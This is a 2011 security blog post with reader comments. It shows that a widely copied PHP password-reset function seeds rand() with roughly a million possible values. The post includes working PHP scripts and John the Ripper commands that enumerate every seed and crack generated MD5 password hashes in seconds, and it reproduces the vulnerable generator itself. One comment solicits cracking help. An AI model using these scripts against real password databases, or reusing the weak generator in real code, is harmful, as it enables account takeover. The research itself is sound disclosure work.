Hacking crappy password resets (part 1)
Filed under: Hacking, Passwords, Tools
Greetings, all!
This is part one of a two-part blog on password resets. For anybody who saw my talk (or watched the video) from Winnipeg Code Camp, some of this will be old news (but hopefully still interesting!)
For this first part, I'm going to take a closer look at some very common (and very flawed) code that I've seen in on a major "snippit" site and contained in at least 5-6 different applications (out of 20 or so that I reviewed). The second blog will focus on a single application that does something much worse.
Password reset?
First off, what is a password reset? You probably know this already, so feel free to skip to the next section for the good stuff.
Many sites offer a feature for users who forgot their passwords. They click a link, and it sends them a temporary password (or, for some sites, it changes their site password to a temporary password, effectively locking out the user till they check their email).
These generally work by generating a one-time password/token/etc, and emailing it to the address on record. The legitimate user receives the email, and clicks the link/uses the temp password/etc to log back into their account, at which point they ought to (or are forced to) change their password.
Some reset schemes require the user to answer their "secret questions", which often involves knowing information that nobody else (except Facebook) knows. I'm not a fan of the "secret question" and "secret answer" strategy myself, and they were torn apart by experts after Sarah Palin's email was compromised, so we aren't going to talk about them.
It is widely known that passwords are the weakest point in most security systems. Well, as it turns out, password resets are often the weakest point in password schemes. No matter how good your password policies, login procedures, etc are, a bad password reset can compromise an entire system. Here's a few ways:
- Poorly chosen random passwords (that's what this post is about)
- Poorly validated email addresses (can I reset the password to *my* address?)
- Relying entirely on secret questions/answers (Palin hack)
- Not extending brute-force protection (or logging) to the reset tokens
The last point is somewhat interesting, but none of the reset schemes I found in applications used reset tokens so I'm not going to cover them.
Methodology
To do this research, I found a large repository of PHP projects, clicks on the "blogs" category, and downloaded a whole bunch of them. In the end, I had about 20 different applications. I didn't keep a list, but from memory, I found the following:
- 10 had no accounts, no passwords, or no ability to recover passwords
- 6 used a password-reset function that is somewhat weak and very common (and can be found on snippits sites) - the scheme that I'm covering this week
- 3 emailed back the passwords in plaintext
- 1 used a *really* bad reset scheme (that's the one I'm covering next post)
Motivation
Let's say you compromise a site (for a legitimate and ethical penetration test, of course). You wind up with 1,000,000 accounts from a database that happens to use this password generation technique (either for password resets or for generating initial passwords). Rather than wasting time cracking these passwords, you want to eliminate every "generated" password from the list. How can you do that?
Or another scenario: you realize that a company's corporate "password generator" toolbar utility is using this algorithm to generate "secure" passwords within a company. Knowing that some users are going to misuse this utility, and use the same "strong" passwords on multiple accounts, you compromise a weak host, crack a user's 14-character "random" password, then use that to log into their other systems.
How the heck do we crack a 14-character random password, you ask? Let's fine out!
The code
We're going to focus on the six or so sites that used a common password reset function. Here's the snippit:
<?php
function generate_random_password($length)
{
$chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';
srand((double)microtime() * 1000000);
$passwd = '';
$chars_length = strlen($chars) - 1;
for ($i = 0; $i < $length; $i++)
$passwd .= substr($chars, (rand() % $chars_length), 1);
return $passwd;
}
?>
At first glance, this didn't look too bad. I was a little disappointed, to be honest. Using srand() in modern PHP versions isn't recommended, but it appears to be seeded with a high-resolution timer - that could make it difficult to guess. In theory.
If you were to generate a password with strong randomization and a decent length (say, 14 characters), even with a fast/weak hashing algorithm like md5 it'll be nearly impossible to crack. We need a better way!
I decided to look at how strong the seed passed to srand() actually was. To do this, I replaced srand() with echo():
<?php
for($i = 0; $i < 3; $i++)
{
echo((double)microtime() * 1000000);
echo "\n";
}
?>
Then ran the application a few times to get an idea of how the seed worked:
$ php srand.php 155118 155198 155213 $ php srand.php 898454 898536 898552 $ php srand.php 673755 673844 673860
Hmm! It looks like the random seed is actually a fairly hard-to-guess integer between 0 and 1,000,000. Fortunately, 1,000,000 is a small number. Suddenly, this is a lot easier.
In my next blog, I'm going to look at how we can use commandline tools to do a bruteforce remotely and guess a password this way, but for now let's see how we can crack the passwords using two methods: php and john the ripper.
Cracking it with PHP
If for whatever reason you only have a single hash that you want to crack, this is by far the easiest way. I basically modified the original function (found above) to take an extra parameter - the hash - and to generate random passwords with different seeds until it finds one that matches. Here's the code:
<?php
function generate_random_password($length, $hash)
{
$chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';
for($j = 0; $j < 1000000; $j++)
{
srand($j);
$passwd = '';
$chars_length = strlen($chars) - 1;
for ($i = 0; $i < $length; $i++)
$passwd .= substr($chars, (rand() % $chars_length), 1);
if(md5($passwd) == $hash)
return $passwd;
}
}
?>
Basically, we generate all million possible passwords and figure out which one it is. Easy!
I wrote a couple little test programs that basically just call those functions to confirm it works:
$ php password_reset.php 14
Generated a 14-character, random password: 4fx@xpxtuos6ee (md5: ef949c5bd59359a5403caafa95d3c5f9)
$ php password_reset.php 14
Generated a 14-character, random password: 95h76tio0vbuh4 (md5: 8ad7fa746f82d90bee2bc38783ad7981)
$ php password_reset.php 20
Generated a 20-character, random password: qnhbk95a8m2sqvwrzieb (md5: 1a902b5f425555446186f346a62c7a53)
Now normally, all three of these would be impossible to crack. Typically, a 14-character password, chosen from a set of 38 different characters, has 13,090,925,539,866,773,438,464 different possibilities. Fortunately, as we saw earlier, the rand() is seeded with only a million possible seeds, and a million is definitely bruteforceable!
We've already seen the function to crack the passwords, so let's try it out:
$ php ./password_reset_crack.php 14 ef949c5bd59359a5403caafa95d3c5f9 The password is: 4fx@xpxtuos6ee $ php ./password_reset_crack.php 14 8ad7fa746f82d90bee2bc38783ad7981 The password is: 95h76tio0vbuh4 $ php ./password_reset_crack.php 20 1a902b5f425555446186f346a62c7a53 The password is: qnhbk95a8m2sqvwrzieb
And it isn't slow, either:
$ time php ./password_reset_crack.php 20 1a902b5f425555446186f346a62c7a53 The password is: qnhbk95a8m2sqvwrzieb real 0m3.732s user 0m3.709s sys 0m0.005s
So basically, we cracked a 20-character "random" password in under 4 seconds, w00t! (or, to quote a new friend, "WOOP WOOP WOOP WOOP")
Cracking with john
Let's say that instead of three passwords, you have a thousand. In fact, let's generate a whole bunch! You can try it yourself, too. The file contains 5000 passwords in raw-md5 format (with a few duplicates thanks in part to the Birthday Paradox). We're going to use john the ripper 1.7.6 with the Jumbo patch to try cracking them. By default, john fails miserably:
$ ./john --format=raw-md5 ./14_character_hashes.txt Loaded 5000 password hashes with no different salts (Raw MD5 [raw-md5 64x1]) guesses: 0 time: 0:00:00:31 (3) c/s: 20900M trying: tenoeuf - tenoey5 Session aborted
Even at 20,000,000,000 checks/second, it's getting nothing. I can leave it all day and it will get nothing. These passwords are pretty much impossible to crack with brute force.
Now let's let john in on the secret and tell it the 1,000,000 possible passwords!
The first thing we do is write a quick php application to generate them:
<?php
function generate_random_password($length)
{
$chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';
for($j = 0; $j < 1000000; $j++)
{
srand($j);
$passwd = '';
$chars_length = strlen($chars) - 1;
for ($i = 0; $i < $length; $i++)
$passwd .= substr($chars, (rand() % $chars_length), 1);
echo $passwd . "\n";
}
}
generate_random_password($argv[1]);
?>
Then run it to prove it works:
$ php ./generate_plaintext.php 14 | head !@fju@5qx7@s4r !@fju@5qx7@s4r we#hqgerz4@oro 2zyemt2h7caer2 rwm!2mdw4!yatk tzd!nz@!njsyso tgkzg60k!k!84p jwnmnd4#eo8@!r s@4cbh0ki7j@qz avxgx#5qv0y2tw
And send its output into a file:
$ php ./generate_plaintext.php 14 > 14_character_plaintexts.txt
You can save some trouble and download it here if you want to follow along.
Then we send that file into john and watch the magic...
$ rm john.pot $ ./john --stdin --format=raw-md5 14_character_hashes.txt < 14_character_plaintexts.txt Loaded 4231 password hashes with no different salts (Raw MD5 [raw-md5 64x1]) d3jg8b49vkh0qr (?) ikzryv@bf7!#o# (?) 64z8r3x@bdgv4s (?) vzmh4beou7#n4s (?) vyh!2o7000j@8k (?) czdxguvc67fcfs (?) 2fnvq4hf2ftms8 (?) jqxouo#mxhnj5h (?) kabami3i@!ehgc (?) ... g@c840br06hje7 (?) 0@xg!6mx9npez4 (?) ro6!t@pyahjq4v (?) cpqgc@g6h9hvks (?) ysf!t89543fv2u (?) guesses: 4231 time: 0:00:00:00 c/s: 2574M trying: p2aiw#!s!7qho! - zhswbxxiho2e3u
As you can see, it loaded 4231 password hashes (there were less than 5000 due to collisions), and cracked them all. And it took 0 seconds. that's pretty darn good!
Conclusion
Now you've seen how we can very quickly crack a password generated with a bad algorithm. In my next blog, we'll see how we can crack one generated with an even worse algorithm, remotely!

March 10th, 2011 at 17:55
Nice and interesting blog post. It's worth researching if this also applies to other "random" based generation algorithm's often used. For example captcha's using weak seeding or something alike should be just as easy to crack then.
March 11th, 2011 at 00:19
@DiabloHorn - you're absolutely right. I very briefly mention password generators, but I should give it more airtime.
March 11th, 2011 at 19:16
Hi,
Thanks for this paper, really interesting approach....
I try your 1 000 000 Guesses pass list on many hashes ( DES & MD5 ) some generated & other not, unfortunately the result is = 0
I don't know how do you do for win at 100%, cause the propability is in all cases ( especialy on generated ) reduice to an verry less amount of...
& more with an 14 char's
& even wiht some rules...
Anyway, the idea stay nice.
Regards,
Dave
March 15th, 2011 at 21:52
Super interesting read. Makes complete sense and I love how everything was PHP based.
I've been delving into the world of Social Engineering for the past year or so and what is constantly repeated is that attackers use social engineering since it is the path of the least resistance (most of the time).
This is exactly what this article presents since you aren't attacking the password hashes themselves but the algorithm that generates them.
March 16th, 2011 at 05:29
for($j = 0; $j < 1000000; $j++)
{
srand($j);
Did anyone else lol at this ?
Nice way to fail at seeding!
March 16th, 2011 at 07:55
@ReDucTor - that was the whole point...
March 17th, 2011 at 02:35
srand($j) is not work
August 31st, 2011 at 18:00
If anyone has good password list or can crack pws good let me know. Plz contact me either email or yahoo mess. yahoo mess Mydogwolfy28@yahoo.com
Email is Mike1280@comcast.net
March 14th, 2012 at 21:45
Hi Ron,
first thank you for this nice blog stuffed with some pretty interesting articles (i love this Rona key :)
One question, how the heck do you get John compute 20 billion md5-raw c/s? are you using a cuda/opencl patched version? or are you load balancing between hundreds of stations? (eg. mpi over a botnet)
ps: nice spam protection btw, (6+7)-9 in plain ascii
so unusual some spammers may indeed feel confused ;-)
May 25th, 2012 at 10:14
@Greg -
Hey, sorry for the slow response. Email notifications wasn't working, I didn't realize I had comments. :)
I get a good speed because md5 can be parallelized - that is, calculate the hash once, then check it against a million hashes. That means a single md5 calculation leads to a million checks, and the speed is a million times faster than you'd expect.
That's why salting is so important!
Ron
June 6th, 2012 at 03:07
The crack of the almost 5000 passwords worked? Is it right to conclude that none of them contained a "1" or did I miss something?
$chars = 'abcdefghijkmnopqrstuvwxyz023456789!@#$';